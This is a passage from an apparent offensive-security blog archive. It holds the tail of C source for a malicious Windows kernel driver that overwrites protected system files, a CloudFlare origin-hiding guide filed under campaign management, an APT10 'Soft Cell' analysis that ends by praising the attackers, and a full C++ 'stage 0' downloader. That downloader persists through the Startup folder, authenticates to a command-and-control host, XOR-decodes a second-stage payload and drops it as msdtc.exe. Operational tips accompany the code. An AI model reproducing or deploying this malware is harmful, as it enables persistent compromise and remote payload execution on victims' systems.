					// There is not enough memory in the system to replace the file.
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_DATA_ERROR;
				}
				// We must FREE current_source.buffer from now on during errors.

				byte_offset.LowPart = byte_offset.HighPart = 0;
				nt_status = ZwReadFile(current_source.handle,
										NULL,
										NULL,
										NULL,
										&io_status_block,
										current_source.buffer,
										current_source.file_size,
										&byte_offset,
										NULL);
				// No need to leave NULL because we know file_size.
				if (!NT_SUCCESS(nt_status))
				{
					// Do not log an error.  If there is no information file,
					// assume there is nothing to update.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER_DEBUG] No information file\n");
#endif
					ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_SUCCESS;
				}

				byte_offset.LowPart = byte_offset.HighPart = 0;
				nt_status = ZwWriteFile(current_target.handle,
										NULL,
										NULL,
										NULL,
										&io_status_block,
										current_source.buffer,
										current_source.file_size,
										&byte_offset,
										NULL);
				if (NT_SUCCESS(nt_status))
				{
					// We successfully replaced the file.
					// Let the usermode know somehow.
					// Print with UNICODE, http://www.winvistatips.com/can-dbgprint-unicode_string-t186503.html
#ifdef _DEBUG
					DbgPrint("We successfully replaced %wZ\n", current_target.path);
#endif
				}

				else
				{
					// We did not successfully replace the file.
					// Let the usermode know somehow.
#ifdef _DEBUG
					DbgPrint("Unable to successfully replace %wZ\n", current_target.path); 
#endif
				}

				// Cleanup for each loop.
				is_source = true;
				ZwClose(current_target.handle);
				ZwClose(current_source.handle);
				//ExFreePoolWithTag(current_target.buffer, 'gaT1');
				ExFreePoolWithTag(current_source.buffer, 'gaT1');
			}

			bytes_read += char_index_in_line;
			char_index_in_line = 0;	// If a new line exists, we must start at beginning.
			// Reset the "current_target_file_path" and "current_source_file_path".
			RtlZeroMemory(current_target_file_path, sizeof(current_target_file_path));
			RtlZeroMemory(current_source_file_path, sizeof(current_source_file_path));

			// We continue to skip the processing directly below us, as we
			// don't wish to copy the NULL or Windows newline to buffer.
			continue;
		}

		// If the character wasn't EOF (backdoor_info.file_size) or a Windows newline (/r/n), we end up here, to copy to buffers.
		if (bytes_read + char_index_in_line < backdoor_info.file_size)
		{
			if (is_source)
			{
				//if (!NT_SUCCESS(RtlMultiByteToUnicode
				current_source_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
				/*if (!NT_SUCCESS(RtlStringCbCopyW(current_source_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
				{
					// Unable to copy UNICODE character.
					DbgPrint("[MICROSOFT_DRIVER] Unable to copy source wchar_t\n");
				}*/
			}

			else
			{
				current_target_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
				/*if (!NT_SUCCESS(RtlStringCbCopyW(current_target_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
				{
					// Unable to copy UNICODE character.
					DbgPrint("[MICROSOFT_DRIVER] Unable to copy target wchar_t\n");
				}*/
			}

			char_index_in_line++;	// We have to inc the counter here because we'll be off-by-one otherwise due to the combined strings 
									// in the file during parsing.
		}
	}

	// We need to write the new version to the "patch.scc" file.
	// 
	nt_status = UpdateSystemPatchVersion(next_version);
	if (!NT_SUCCESS(nt_status))
	{
		// Unable to write "patch.scc".
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to write success file\n");
#endif

		return STATUS_FILE_INVALID;
	}

	return STATUS_SUCCESS;
}
Posted in Malware DevelopmentTagged Bypass system file checker, c malware, malicious kernel driver, malware, System service, Win32 SFC bypass, WinDDK, Windows Driver Development, Windows file protection, Windows malicious service, winlogon, winlogon hijackLeave a comment

Protecting a Site with CloudFlare

Posted on June 27, 2019 - June 27, 2019 by admin

This topic assumes you are running a Linux-based operating system with iptables.

From Hosting Provider

Change your nameserver’s to match CloudFlare’s.

From CloudFlare

Set your A record in CloudFlare to point to your real IP address.

Set any CNAME records, like “www”, which you use as aliases.

Manage your Crypto to Full if you’re using your own solution.

From your Server

Run the following Shell script

#!/bin/bash

iptables -A INPUT -p tcp --dport http -j REJECT --reject-with tcp-reset
iptables -A INPUT -p tcp --dport https -j REJECT --reject-with tcp-reset

for x in $(curl https://www.cloudflare.com/ips-v4); do
    iptables -I INPUT -p tcp -m multiport --dports http,https -s "$x" -j ACCEPT
done

for x in $(curl https://www.cloudflare.com/ips-v6); do
    ip6tables -I INPUT -p tcp -m multiport --dports http,https -s "$x" -j ACCEPT
done

Now, try to access your site from the real IP address. It should be blocked via TCP reset. If not, you’re doing something wrong and people could correlate your real IP address to your CloudFlare-protected site.

Setting this up to run via init script is also highly recommended. Otherwise you may reboot with all settings lost.

Posted in Campaign ManagementTagged BASH, CloudFlare, DevOps, iptables, OpSec, SecOps, system administrationLeave a comment

Cloud Hopper a Top Notch APT

Posted on June 27, 2019 - July 1, 2019 by admin

The “Cloud Hopper” attack group is back in the spotlights this week after an informative report of Operation “Soft Cell” by security firm Cybereason. Detailed campaigns tracked by the firm display traits similar to how “APT10” associated groups have operated in the past.

Active since at least 2012 against telecommunications providers, “Soft Cell” was observed to target Active Directory domain servers once access was obtained on a target network before expanding their access. This suggests the group is primarily interested in long-term compromise of their targets. Their ongoing operations for months, and at times years, shows the group has the discipline and ability to practice stealthy and persistent attacks usually associated with well-funded nation-state groups.

Adaptability while maintaining access is a key ability for sophisticated nation-state groups. Such groups expect and plan for alternative routes during pre-attack operational activities.

Initial Access

A web shell (China Chopper) written for IIS servers was dropped after web-based compromise. From this webshell reconnaissance activity was observed by operators running basic diagnostic commands from a spawned cmd.exe instance with tools such as ipconfig, find, netstat, and whoami.

The second notable activity after initial access was running a modified nbtscan tool to identify NetBIOS name servers both locally and over the network. This tool was used by the actors to find shares on the internal Windows network.

Elevation

Utilities such as Mimikatz were modified and deployed after the reconnaissance phase. Their modified artifact removed the need for command line arguments, likely to evade various techniques employed by EDR solutions to detect common tools like Mimikatz during execution. Modified and compiled code also has the advantage of easily defeating Anti-Virus solutions due to changes in signature(s) of code segments and structure, largely with no real work needed by the technical team powering Cloud Hopper’s operations.

Their modified Mimikatz tool allowed the group to dump NTLM hashes on the compromised machines. A second technique to obtain coveted NTLM hashes was performed by dumping specific hives from the Windows Registry containing the hashes. The SAM hive HKEY_LOCAL_MACHINE\SAM and Security hive HKEY_LOCAL_MACHINE\Security store these essential hashes.

Pivoting

With the network mapped and credentials stolen (and not necessarily cracked), the group had all they needed to remotely establish sessions. The target telco’s network’s production and database servers, along with their Domain Controller (!), were successfully compromise.

WMI and PsExec remote command execution, Windows sysadmin utilities, were used to successfully run the landscape of their target network.

Persistence

Despite having all information and IP routing necessary to perform a complete domain compromise, the group performed additional tasks to enable persistence in forms other than their initial attack vector.

The attackers created high-privilege domain user accounts to perform actions after their first goal was achieved: domain compromise.

Changing the source of malicious operation, from the perspective of the Windows subsystem and network managers, provides multiple benefit. Obviously, it allows a deeper foothold into the system, having now a webshell along with domain-privileged accounts. Higher-privileged accounts, especially on machines with regular network traffic, are much quieter when performing administrative based tasks. With deployment of a RAT, such as PoisonIvy this threat actor used, they can maintain “phone home” or “callback” connectivity, bypassing the need to “push” into a network, opting to “pull” access at intervals.

This PoisonIvy variant abused a trusted and signed Samsung tool, runhelp.exe, was deployed as a Nullsoft Installer Package (NSIS) package. Once unpacked and run, the Samsung tool loaded a fake DLL posing as a legitimate dll, ssMUIDLL.dll, causing the malicious code to execute. The result was a scheduled task which would run the legitimate Samsung tool with the malicious payload. This is known as DLL Side Loading.

Exfiltration

The actor opted for the RAR archival utility for compressing desired data for exfiltration. They were spotted keeping the WinRAR tool and their compressed data for exfiltration in the Recycle Bin folder.

These RAR data were stored as multi-part archives. This technique, among the others mentioned, are staples among the APT10 actor(s).

hTran was used attempting to exfiltrate targeted data out of segmented networks. The code was modified from the original; likely an attempt to evade detection of EDR and Anti-Virus solutions. The structure and debug output was almost identical, with key phrases left in the deployed payload, likely due to lack of English-language skills.

For example, “Connect error” became “C e.”.

Reasons for Attack

The most obvious reason for a nation-state targeting large telcos of nations is to track call/message data. These Call Detail Records (CDRs) are a way of telephone companies tracking data from:

  • Device details
  • Physical location
  • Device vendor and version
  • Source, destination, and duration of call

With such information, the unit can monitor another nation’s citizens, including their leaders. If they need further access, they can know the exact make/model of a device used by a target.

As a last resort, the unit also has the ability to potentially “jam” the data/voice network by destroying the infrastructure.

If the unit is extremely technically sophisticated, the desire is there from the management, and the target allows such technical operation, the group may pull off infected firmware updates, rogue base station legitimacy, or other such fanciful Hollywood-esque attacks which may actually exist as a capability.

Areas for Improvement

The attackers were found conducting multiple campaigns from the same IP address. When you’re a big nation state and not looking to cause overt damage, operation security is practically optional.

This author could critique the operation in many ways. The fact is the techniques described here work, and work well, for multi-year operations against higher-sophisticated targets such as telcos.

Hats off to the Cloud Hopper group for a long-term successful campaign that has likely monitored and lead to exploitation of several high-value political and business targets of the affected countries.

Without a doubt these operations will continue from the Chinese groups. They will continue to stay at the level (A/B/C/D/F grading) required to achieve and maintain access to sources of data their state deems critical to the operational success and future viability of their country.

No need to bring out the A-team for adversaries which do not demand it.

Posted in Campaign Analysis, Current EventsTagged APT10, China Chopper, Cloud Hopper, hTran, Mimikatz, Operation Soft Cell, PoisonIvyLeave a comment

Windows Download and Execute (Stage 0 or 1) Malware Example Code

Posted on June 24, 2019 - June 27, 2019 by admin

This code is an example of a Stage 0 (or 1) malware written in C++ for the Windows operation system. It could be attached to various exploits, other payloads, or standalone.

A tool such as this would likely show up at the beginning of a campaign.  End stage campaigns may also find a tool like this useful for transportation of code between hosts.

int APIENTRY _tWinMain(	HINSTANCE	hInstance,
		        HINSTANCE	hPrevInstance,
			LPTSTR		lpCmdLine,
			int		cmdShow)
{
	DWORD retInstallVirus = InstallVirus();
	if (!retInstallVirus)
	{
		Sleep(30000 * (rand() % 30000));

		DWORD retDownloadStage2 = DownloadSecondStage();
		while (retDownloadStage2)
		{
			Sleep(300000);
			retDownloadStage2 = DownloadSecondStage();
		}
	}

	return 0;
}

Goal: Move ourselves to a different directory for persistence. Only run the second stage after a reboot.

What are we: We are an executable that somehow became executed on a system. Could be a standalone payload or changed to the payload in a sophisticated exploit with a few tweaks.

Contingencies: Try to install ourselves (this payload) immediately for persistence, and try to pull down our later stage after no wait to 15 minutes.

Let us begin…

#include "stdafx.h"

//
// Returns 0 if the virus already installed.
//
DWORD InstallVirus()
{
	TCHAR ourFilename[MAX_PATH];
	TCHAR new_filename[MAX_PATH];
	TCHAR relativeTargetDirectory[MAX_PATH] = _T("\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\");
	int end = 0;
	GetModuleFileName(0, ourFilename, MAX_PATH * sizeof(TCHAR));
	// Copy to AppRoaming folder.
	TCHAR* rawFilename = _tcsrchr(ourFilename, _T('\\')) + 1;
	TCHAR user_directory[MAX_PATH];
	SHGetFolderPath(NULL, CSIDL_PROFILE, NULL, 0, user_directory);
	_tcscpy_s(new_filename, user_directory);
	_tcscat_s(new_filename, relativeTargetDirectory);
	_tcscat_s(new_filename, rawFilename);

	// Check if our file already exists.
	FILE* testFile = _tfopen(new_filename, _T("rb"));
	if (testFile)
		return 0;

	size_t fileSize;
	FILE* fp = _tfopen(ourFilename, _T("rb"));
	if (!fp)
	{
		return -2;
	}
	fseek(fp, 0, SEEK_END);
	fileSize = ftell(fp);
	fseek(fp, 0, SEEK_SET);
	char* fileBuffer = new char[fileSize];

	if (fread(fileBuffer, sizeof(char), fileSize, fp) != fileSize)
	{
		return -3;
	}

	FILE* copiedFile = _tfopen(new_filename, _T("wb"));
	if (!copiedFile)
		return -4;

	fwrite(fileBuffer, sizeof(char), fileSize, copiedFile);
	fclose(copiedFile);

	return 1;
}

This function reads the contents of ourselves and writes it to the persistence location (C:\\Users\\<user_name>\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\)

This ensures we run every time the system starts.

Extra: Double slashes are for the escape, in case you were confused.

/* If our key matches what server expects it will send us the following struct:

	typedef struct
	{
		char		magic[4];		// "abcd"
		uint32_t	payload_size;
		byte		xor_key;
		char		payload[payload_size];
	} server_rsp;
*/
//
// Returns 0 on successfully downloading.
//
DWORD DownloadSecondStage()
{
	// Virus is already installed.
	HINTERNET hOpen = InternetOpen(	NULL,
		INTERNET_OPEN_TYPE_PRECONFIG,							 
                NULL,
		NULL,
		0);
	if (!hOpen)
		return -1;

	HINTERNET hUrl = InternetConnect(hOpen,										 
                                         _T("site.com"),
		                         80,
	   	 		         NULL,
					 NULL,
					 INTERNET_SERVICE_HTTP,
					 INTERNET_FLAG_PRAGMA_NOCACHE,
					 NULL);
	if (!hUrl)
		return -2;

	HINTERNET hRequest = HttpOpenRequest(hUrl,
					     _T("POST"),											 
                                             _T("/"),
					     NULL,
   					     NULL,
					     NULL,
					     NULL,
					     NULL);
	if (!hRequest)
		return -3;

	BOOL bRequest = HttpSendRequest(hRequest,
                      _T("Content-Type: application/x-www-form-urlencoded"),
                      _tcslen(_T("Content-Type: application/x-www-form-urlencoded")),
                       "password=1234567890",
                       strlen("password=1234567890"));

	// Read the first two members of structure. 
	DWORD numBytesRead = 0;
	DWORD numAvailable = 0;
	char* huge_buffer;
        // We must use the heap, because the stack can only hold 
        // around 0.5 mb. 
	huge_buffer = new char[10485760]();
	numBytesRead = 0;
	numAvailable = 0;
	memset(huge_buffer, 0, sizeof(huge_buffer));

	while (InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0) && numAvailable)
	{
		InternetReadFile(hRequest, huge_buffer + numBytesRead, numAvailable, &numBytesRead);
	}

	if (!InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0))
	{
		delete [] huge_buffer;
		return -4;
	}

	if (numBytesRead < 9)	// Initial header size
	{
		delete [] huge_buffer;
		return -5;
	}

	if (*(huge_buffer + 0) != 'a' ||
		*(huge_buffer + 1) != 'b' ||
		*(huge_buffer + 2) != 'c' ||
		*(huge_buffer + 3) != 'd')
	{
		delete [] huge_buffer;
		return -6;
	}

We send a “password” to the Command and Control (C2) server to “authenticate” and “authorize” ourselves.

char magic[4]; // “abcd”
uint32_t payload_size;
byte xor_key;
char payload[payload_size];

We check for the structure with starting magic bytes of ‘a’ (0x61), ‘b’ (0x62), ‘c’ (0x63), ‘d’ (0x64). Next is the payload_size, which tells us how big payload is. xor_key is the “decoder” key.

	byte hi_byte = huge_buffer[4];
	byte mid1_byte = huge_buffer[5];
	byte mid2_byte = huge_buffer[6];
	byte lo_byte = huge_buffer[7];
	int payload_size =	(hi_byte << 24) +
				(mid1_byte << 16) +
				(mid2_byte << 8) +
				(lo_byte);
	char xor = *(huge_buffer + 8);

	for (int i = 0; i < payload_size; i++)
	{
		if (huge_buffer[9 + i])
			if (huge_buffer[9 + i] != xor)
				huge_buffer[9 + i] ^= xor;
	}

	FILE* downloaded_file = _tfopen(_T("msdtc.exe"), _T("wb"));		// Make sure this file deletes us when it runs.
	if (!downloaded_file)
	{
		delete [] huge_buffer;
		return -7;
	}

	if (fwrite(huge_buffer + 9, sizeof(char), payload_size, downloaded_file) != payload_size)
	{
		fclose(downloaded_file);
		delete [] huge_buffer;
		BOOL bDelete = DeleteFile(_T("msdtc.exe"));

		return -8;
	}

	fclose(downloaded_file);
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hOpen);
	delete [] huge_buffer;

	// We are done;
	return 0;
}

We save the binary file as “msdtc.exe” in the directory we are executing in.

This is an example of a straight to the point malware for Windows systems new and old. It would likely run in a “stage 0” scenario, as either an encapsulated within the main payload of an initial attack (slight modifications), as a standard Windows executable (EXE/DLL), or as position independent code (PIC) as shellcode (slight modifications).

The file “msdtc.exe”, in this case, would be your long-term solution for persistence and lateral movement. Make sure it’s a good tool and you have several workable solutions for the environment you are targeting.

Posted in Malware DevelopmentTagged c malware, c++, malware, payload, stage 0, win32, WINAPILeave a comment

US Approves Cyberstrikes Against Iranian Missile Systems

Posted on June 23, 2019 - June 27, 2019 by admin

Original story published at Washington Post

Insiders in the US government discussed Trump’s approval of electronic operations against the Iranian Revolutionary Guard recently. The new policy of “defending forward” are implementing policies directed by Trump to bring battles to adversaries’ virtual infrastructure.

Thomas Bossert, former White House cybersecurity official, explained the actions as defending US interests in keeping the Strait of Hormuz open for trade among allied nations. He asserts this is what the US Navy must do to “defend” itself at sea in the Gulf area.

Will opposing nations’ cyber activity release the pressure valve which historically lead to physical conflict? So far recently history has suggested cyber operations may allow for nations to quench the thirst for bloodshed through a different medium, invisible to the eye and the population’s day-to-day activities in all but the most aggressive cyber operations.

Expect cyber warfare activity to increase in the near future among the US and Iran. Israel also has a major stake in this conflict and is likely to engage in their own operations if not work directly with US intelligence to counter the threats they see in the Iranian state.

This conflict may temporarily decrease attacks from Iran against neighboring Gulf states as the Iranian apparatus focuses their energy on the most direct threat. The past few months have seen massive doxxing/leaks of purported APT34/OilRig activity, targeting the broader Middle East government and business entities, proving Iranians have upped their game significantly since the Shamoon v1 days of 2012.

Posted in Current EventsTagged APT34, current events, cyber warfare, Iran, news, OilRig, TrumpLeave a comment

Recent Posts

  • Manual Scraping
  • Nitter Replacement
  • MFA Abuse in Splunk
  • Virtualbox Automation
  • Repository Poisoning

Recent Comments

    Archives

    • August 2024
    • July 2023
    • August 2022
    • March 2022
    • November 2021
    • October 2021
    • September 2021
    • August 2021
    • July 2021
    • June 2021
    • February 2021
    • December 2020
    • October 2020
    • September 2020
    • April 2020
    • March 2020
    • January 2020
    • July 2019
    • June 2019

    Categories

    • Campaign Analysis
    • Campaign Management
    • Code Analysis
    • Current Events
    • Malware Development
    • Techniques
    • Uncategorized
    • Utilities

    Meta

    • Log in
    • Entries feed
    • Comments feed
    • WordPress.org
    Proudly powered by WordPress | Theme: micro, developed by DevriX.